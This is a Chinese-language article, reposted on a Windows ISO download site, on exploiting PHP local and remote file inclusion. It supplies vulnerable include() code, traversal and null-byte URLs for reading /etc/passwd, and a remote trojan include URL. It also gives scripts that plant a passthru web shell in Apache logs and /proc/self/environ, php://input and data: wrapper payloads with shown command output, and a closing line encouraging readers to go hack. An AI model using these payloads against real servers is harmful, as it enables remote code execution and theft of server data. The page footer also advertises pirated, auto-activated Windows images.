GHOST系统之家 - Windows系统光盘下载网站!
当前位置:GHOST系统之家>电脑问题 > php包含漏洞替代技术的方法与介绍 php文件包含漏洞详解

php包含漏洞替代技术的方法与介绍 php文件包含漏洞详解

来源:Ghost系统之家浏览:时间:2022-11-03 08:44:45
================
php包含漏洞替代技术
================
php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。
这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包含漏洞。在过去的几年中,php已经开始试图通过缺省设置来消除或限制这种漏洞的所带来影响。
但即使是简单的本地文件包含,也会有新的技术去利用这些漏洞来导致远程命令的执行。
================
介绍php包含漏洞
================
文件包含漏洞的要点是要去找到一个方法来包含带有你的php恶意代码的文件。
<?php
include($_GET['content']);
?>
http://target/index.php?content=/etc/pa sswd
http://target/index.php?content=http://trojan/exec.php
这是第一个例子,它包含了本地文件/etc/pa sswd第二个例子包含了一个远程文件,这个远程包含文件在大多数情况下不能使用,因为php设置中的allow_url_fopen默认是off。
当然,通常有此漏洞的php代码会比上面的例子更有限制性,通常是通过在前面加上一个目录,防止远程文件包含,前面加一个文件扩展名来限制可以包含哪些类型的文件。
<?php
include("pages/".$_GET['content'].".php");
?>
http://target/index.php?content=../../../etc/pa sswd%00
.../的使用允许目录横向风格的操作,使你可以操作代码中预定目录以外的目录的文件。
如果php设置中open_basedir为on,它将会阻止你绕过过多的目录。
网站的开发者有可能也会使用一些函数来过滤掉来自用户提交的恶意数据,但并非总是如此。
空字节字符%00(\0)终止字符串,来切断在它之后提交的任何东西,即是当magic_quotes_gpc 默认为on的时候,也可以逃过。
在http://ush.it网站中有一篇名为《PHP文件系统的攻击媒介》提供了可能的方法来应付空字节字符。
php脚本安全也可能取决于像$_GLOBAL[]或$_SERVER[]等的变量,像最近被发现的phplist的漏洞(phplist是一款国外的Email程序),例子为
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd
==================
本地文件包含致远程代码执行
==================
一次你找到一个本地包含漏洞,你需要找到一个方法去把你的恶意php代码插入一个文件中,大量的技术在过去的几年中出现。
有一种在服务日志中去注入php代码的技术比上面这些包含漏洞要出现的晚。
它是有可能的去把我们的代码插入http请求的头部,然后包含Apache的access_log日志文件(它可能会进行一些测试去找到access_log)。
考虑一下这个例子,在Mac OS X的Apache/PHP默认配置下,写一个脚本去发送一个请求可能是必须的,因为浏览器可能会对一些字符进行转义。
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /<?php p assthru(\$_GET['cmd']); ?> HTTP/1.1".
"Host: localhost".
"Connection: Close");
fclose($a);
?>
https://www.jb51.net /index.php?content=/var/log/httpd/access_log&cmd=id
另一种方法是包括了Apache/PHP进程的环境变量的/proc/ self/environ文件。
如果我们将恶意代码插入User-Agent 的头部,这些代码会出现在那个文件里,所以远程执行代码是可能的。
/proc/ self/environ必须是可读的
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1".
"User-Agent: <?php p assthru(\$_GET['cmd']); ?>".
"Host: localhost".
"Connection: Close");
fclose($a);
?>
=================
Php封装包含漏洞
====================
利用php的include函数的另一种方法是利用php封装(http://www.php.net/wrappers.php)。这个例子将使用PHP输入,从一个HTTP POST请求的原始数据并执行它:
漏洞代码:
<?php
include($_GET['content']);
?>
我们的请求:
<?php
$request = "<?php p assthru('id;');?>";
$req = "POST /index.php?content=php://input
HTTP/1.1".
"Host: localhost".
"Content-type: text/html".
"Content-length: ".strlen($request)."".
"Connection: Close".
"$request ";
$a = fsockopen("10.0.2.2",80);
fwrite($a,$req);
echo $req;
while (!feof($a)){echo fgets($a, 128);}
fclose($a);
?>
得到的结果:uid=33(www-data) gid=33(www-data) groups=33(www-data)
这个例子的前提是allow_url_include和allow_fopen_include两个选项设置为ON,在这种情况下,标准的远程文件包含是可能的。
这个方法的优点是它不依赖于外部储存文件服务器。
cr0w-at.blogspot.com提到另一种技术使用"数据:"封装:
index.php?content=data:,<?php s ystem($_GET[c]);?>?&c=dir
或者base64编码过的:
index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
============
总结
============
这些方法大多都不是新的,并没有表现出缺陷或在PHP语言本身的局限性。这些问题通常可以通过强大的输入验证,常识编码,和一些预防更严格的服务器配置。
然而,许多问题并不是很快能消失的(SQL注入等),所以开心的去黑吧。
*本文中阐述的漏洞不会存在于Silic Group的网站
*如果你足够细心,你会发现文中很多关键字,例如敏感路径、敏感函数,都被加了个空格
*是因为服务器的防火墙会拦截此类关键字,检测到关键字时服务器就会显示501/503错误
*这就是BlackBap.Org所在服务器拦截的原因
*本站管理员注:-)
作者:Anonymous
标签:

推荐系统

  • windows11中文版镜像 微软win11正式版简体中文GHOST ISO镜像64位系统下载

    windows11中文版镜像 微软win11正式版简体中文GHOST ISO镜像64位系统下载

    语言:中文版系统大小:5.31GB系统类型:Win11

    windows11中文版镜像 微软win11正式版简体中文GHOST ISO镜像64位系统下载,微软win11发布快大半年了,其中做了很多次补丁和修复一些BUG,比之前的版本有一些功能上的调整,目前已经升级到最新版本的镜像系统,并且优化了自动激活,永久使用。windows11中文版镜像国内镜像下载地址微软windows11正式版镜像 介绍:1、对函数算法进行了一定程度的简化和优化

  • 微软windows11正式版GHOST ISO镜像 win11下载 国内最新版渠道下载

    微软windows11正式版GHOST ISO镜像 win11下载 国内最新版渠道下载

    语言:中文版系统大小:5.31GB系统类型:Win11

    微软windows11正式版GHOST ISO镜像 win11下载 国内最新版渠道下载,微软2022年正式推出了win11系统,很多人迫不及待的要体验,本站提供了最新版的微软Windows11正式版系统下载,微软windows11正式版镜像 是一款功能超级强大的装机系统,是微软方面全新推出的装机系统,这款系统可以通过pe直接的完成安装,对此系统感兴趣,想要使用的用户们就快来下载

  • 微软windows11系统下载 微软原版 Ghost win11 X64 正式版ISO镜像文件

    微软windows11系统下载 微软原版 Ghost win11 X64 正式版ISO镜像文件

    语言:中文版系统大小:0MB系统类型:Win11

    微软Ghost win11 正式版镜像文件是一款由微软方面推出的优秀全新装机系统,这款系统的新功能非常多,用户们能够在这里体验到最富有人性化的设计等,且全新的柔软界面,看起来非常的舒服~微软Ghost win11 正式版镜像文件介绍:1、与各种硬件设备兼容。 更好地完成用户安装并有效地使用。2、稳定使用蓝屏,系统不再兼容,更能享受无缝的系统服务。3、为

  • 雨林木风Windows11专业版 Ghost Win11官方正式版 (22H2) 系统下载

    雨林木风Windows11专业版 Ghost Win11官方正式版 (22H2) 系统下载

    语言:中文版系统大小:4.75GB系统类型:

    雨林木风Windows11专业版 Ghost Win11官方正式版 (22H2) 系统下载在系统方面技术积累雄厚深耕多年,打造了国内重装系统行业的雨林木风品牌,其系统口碑得到许多人认可,积累了广大的用户群体,雨林木风是一款稳定流畅的系统,一直以来都以用户为中心,是由雨林木风团队推出的Windows11国内镜像版,基于国内用户的习惯,做了系统性能的优化,采用了新的系统

  • 雨林木风win7旗舰版系统下载 win7 32位旗舰版 GHOST 免激活镜像ISO

    雨林木风win7旗舰版系统下载 win7 32位旗舰版 GHOST 免激活镜像ISO

    语言:中文版系统大小:5.91GB系统类型:Win7

    雨林木风win7旗舰版系统下载 win7 32位旗舰版 GHOST 免激活镜像ISO在系统方面技术积累雄厚深耕多年,加固了系统安全策略,雨林木风win7旗舰版系统在家用办公上跑分表现都是非常优秀,完美的兼容各种硬件和软件,运行环境安全可靠稳定。win7 32位旗舰装机版 v2019 05能够帮助用户们进行系统的一键安装、快速装机等,系统中的内容全面,能够为广大用户

  • 番茄花园Ghost Win7 x64 SP1稳定装机版2022年7月(64位) 高速下载

    番茄花园Ghost Win7 x64 SP1稳定装机版2022年7月(64位) 高速下载

    语言:中文版系统大小:3.91GB系统类型:Win7

    欢迎使用 番茄花园 Ghost Win7 x64 SP1 2022.07 极速装机版 专业装机版具有更安全、更稳定、更人性化等特点。集成最常用的装机软件,集成最全面的硬件驱动,精心挑选的系统维护工具,加上独有人性化的设计。是电脑城、个人、公司快速装机之首选!拥有此系统

  • 番茄花园 Windows 10 极速企业版 版本1903 2022年7月(32位) ISO镜像快速下载

    番茄花园 Windows 10 极速企业版 版本1903 2022年7月(32位) ISO镜像快速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    番茄花园 Windows 10 32位极速企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活

  • 新萝卜家园电脑城专用系统 Windows10 x86 企业版 版本1507 2022年7月(32位) ISO镜像高速下载

    新萝卜家园电脑城专用系统 Windows10 x86 企业版 版本1507 2022年7月(32位) ISO镜像高速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    新萝卜家园电脑城专用系统 Windows10 x86企业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程